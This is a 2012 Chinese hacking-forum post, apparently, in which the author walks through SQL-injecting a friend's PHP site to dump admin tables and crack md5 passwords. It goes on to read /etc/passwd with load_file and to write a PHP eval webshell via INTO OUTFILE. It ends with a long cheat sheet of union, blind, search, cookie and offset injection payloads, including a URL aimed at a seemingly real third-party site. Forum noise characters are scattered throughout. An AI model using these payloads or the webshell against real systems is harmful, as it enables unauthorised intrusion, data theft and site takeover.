标题: 手工注入拿下一站 [打印本页] 作者: admin 时间: 2012-9-23 14:47 标题: 手工注入拿下一站 我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~$ Q# T1 @( X* [5 W e
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?. l' ]) t! G* N/ n
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。 + q% k! d/ `- l* k7 I3 q如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。) % [( m J3 j7 [7 G7 i1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)% C8 i2 g, ]% g" c
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出: 2 r3 l1 ]$ |' v5 @Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in 6 {, Z! T7 s* _ ]+ w, {/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入# L; R3 _$ N* m/ C/ x
* F" |" M/ `9 i9 I# B _
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入, $ m3 o" |; u4 L, C, n D# E4 {3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意2 A1 ~8 ^! b4 S6 M. k$ N
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息7 g' _* i! U8 f. K) c
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。 , I/ d. j9 \: ]# R5 P8 s; n; ?有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell, # P! z; J" s Z( X2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。 % S! N8 Q. S( J+ q4 a. l3 s: c我就用的是第二个思路, 2 z" U& s; Y. J' _7 m% ]3 |提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- ) @, M i$ O5 h% E" n9 @
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,. M1 j1 c- g* R t
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--' V' |* Z" u& ~/ z0 f
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。' W" D/ m) k& u/ p
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办???? 9 I5 j) |4 P V$ K( J是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....( l2 Y* z' y9 f& g
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 -- ! S& F! v0 U! h5 s4 S' ~然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell, 5 `; v' Q+ F' d2 b0 ~调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限...... ) q/ E m) v6 l& L7 p3 j9 I" K. d下面是一些很普遍注入方式资料:1 [- k) d, {4 j& i5 m4 f1 E
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' ' Y' n0 Y$ b8 a$ b* R拆半法 % ]1 j5 @' z) ]$ P0 z0 y###################################### ) `/ G# q4 n6 sand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。0 z& r! T: P. j. _/ v2 E6 J5 O
and exists (select * from admin)3 Y0 i J) \; @
and exists(select id from admin)5 W) b+ W. K) l8 P: ?2 p
and exists(select id from admin where id=1)& o' X( A; h6 B" E
and exists(select id from admin where id>1) # @. k+ a# B# i! a# b! e1 f
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 , }* J7 |; ]! m
and exists (select username from admin) & {2 ], E: J5 f1 U1 w) D& [and exists (select password from admin). U0 o. @" w! T. T
and exists (select id from admin where len(username)<10 and id=1). J c" ^5 z8 j5 v
and exists (select id from admin where len(username)>5 and id=1) ! ^2 z- P' a& |. \9 x5 Yand exists (select id from admin where len(username)=6 and id=1) : a" ]% r/ v6 d: |; O( land exists (select id from admin where len(password)<10 and id=1) : M7 c! c: C8 H" K# H/ x band exists (select id from admin where len(password)>5 and id=1)! E$ i1 n* s6 E5 I5 B9 Q+ h
and exists (select id from admin where len(password)=7 and id=1) , n5 L. Z4 N- V" b9 `( u( [and (select top 1 asc(mid(username,1,1)) from admin)=97( l. R, p- E4 d
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。 ' }: A i' m8 z) x猜第二位把username,1,1改成username,2,1就可以了。 ( P b1 J6 i1 k! ?+ O# E! _( |8 |猜密码把username改成password就OK了 6 G* Y. }4 O E. E% A2 M6 [##################################################9 [+ |! m* A1 Y6 d0 M3 G* \
搜索型注入 ; x8 ^7 M; x: A# o4 F+ \: h################################## ( F3 }; y# @- V0 d3 g- B" Z. p%' and 1=1 and '%'='7 b% D# c% h) M1 [3 F
%' and exists (select * from admin) and '%'=' & _& A Q4 C/ |& i) }9 H% P) s%' and exists(select id from admin where id=1) and '%'=': Q8 R' M' T) ~! E' E+ f( h
%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' ; @) I4 y; S, M; Z%' and exists (select id from admin where len(password)=7 and id=1) and '%'=' - F' t5 Y- R+ d2 M3 |%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=' / T3 U* }* P3 e1 G( q这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=' $ w/ e! V6 S3 M& E6 R: {对于MSSQL数据库,后面可以吧 and '%'='换成-- , [: r* p5 h s还有一点搜索型注入也可以使用union语句。* O& Z1 T$ }$ D7 l% u& \* P2 r
######################################################## 1 \: F$ x: s! O. g( I- v3 g联合查询。 ) o% f$ I- ?, u7 H9 Z# O8 w##################################### + Q: m; {: Z8 `/ D" Torder by 10 7 ^* J- S' Y/ ^+ I% w+ Tand 1=2 union select 1,2,3,4,5,6,7,8,9,10 : j! ]" c6 y* q. S% Y( j" tand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 5 c0 c+ [9 y' {5 \7 I% o3 C9 W) [- oand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1: b" W! H/ U$ W0 q. {
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!) " }& b, C& o% H- Q: U) e6 A/ P###################################3 M" q# Y" N: f/ l2 P6 x4 ~/ `1 w
cookie注入" D, M# A* T5 i; e
###############################9 q' ^, {# L1 c) l- L C) y
http://www.******.com/shownews.asp?id=127 6 Y) Y/ a; [' l `; }; rhttp://www.******.com/shownews.asp # \! }9 u E5 S( T6 ?. Calert(="id="+escape("127"));# x+ W( q5 u& u$ a1 k3 H4 V# T
alert(="id="+escape("127 and 1=1"));# n# S% n+ c+ g$ |! I
alert(="id="+escape("127 order by 10")); 1 {' O; t+ m+ W: L. G9 |alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));- [( s; H. a5 a/ Y2 n: R
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1")); 7 L$ |: h8 P3 y. d! d这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。5 l6 e! h# h U: t0 ~& r0 Y3 w2 A
###################################) S5 N8 d% Y# F
偏移注入 5 `5 A# a [* l: J% m+ }( m########################################################### ! _5 k4 z0 i1 M0 lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin* @% y, ~5 W# `0 k6 _9 H9 Q2 {
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin; n2 m- H9 U; ~ P2 G
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)- o5 \; E0 F( g# r1 c4 u
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) 6 {% l, B8 W- k3 v% _$ Tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 9 q( q i6 g- `) b0 j/ T) F& k7 Vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)% ^9 d( T: ]8 w5 z4 A
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on : F# V6 ?' V' Ga.id=d.id) X5 A: e1 n0 band 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)! z! J& k. p2 _$ H g
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) " V8 ?( `% H+ O/ [
. d: [" P1 l* S$ H
============================================================================================================ ; @: q5 P3 @1 {1.判断版本 6 K. U' r) g) G* E% Nand ord(mid(version(),1,1))>51 " n6 i I5 E6 [* X' |" m1 ^( U% _8 {返回正常,说明大于4.0版本,支持ounion查询* |9 i9 Y3 r( k/ }5 m5 J0 Y
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解2 h' _4 ]7 }$ p$ e2 B
and 2=4 union select 1,2,3,4,5,6,7,8,9-- 0 d$ I6 s. n7 W5 ~& ?) K3.查看数据库版本及当前用户, 2 ]: e+ B) N! F# g) O5 i5 ^and 2=4 union select 1,user(),version(),4,5,6,7,8,9--& C" m8 y' i3 O& m" l
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假, 1 p S) Z; w; X* C( B* y1 E& @4.判断有没有写权限 ! c, k; F* x0 ]9 ?. land (select count(*) from MySQL.user)>0-- ( Q+ P5 D* {6 N6 n7 n" D5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1! e' G1 o. k, A: G# b0 ?- d
用不了这个命令,就学习土耳其黑客手法,如下 * ]7 }0 w3 |3 @* ^and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns-- 8 ]" g4 p+ q* k6.爆表,爆库 E, r$ `5 m" P U
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- 6 r, M7 r4 @, H* {8 \" B7.爆列名,爆表( W V5 s4 ~* C& |
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--$ O; p4 Q3 |' u2 C1 V: _5 o
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。8 H" m! q, w& Q. X3 K: h- h& |3 m
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--- u0 k1 F: i) v" @
9.爆字段内容" {0 ?! J( u6 b3 l* y/ ?. c2 q
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--3 N" G8 H$ ^; C m& {& O) o http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--作者: xiancda 时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~作者: wuyu 时间: 2012-9-25 18:53
谢谢分享,学习思路啊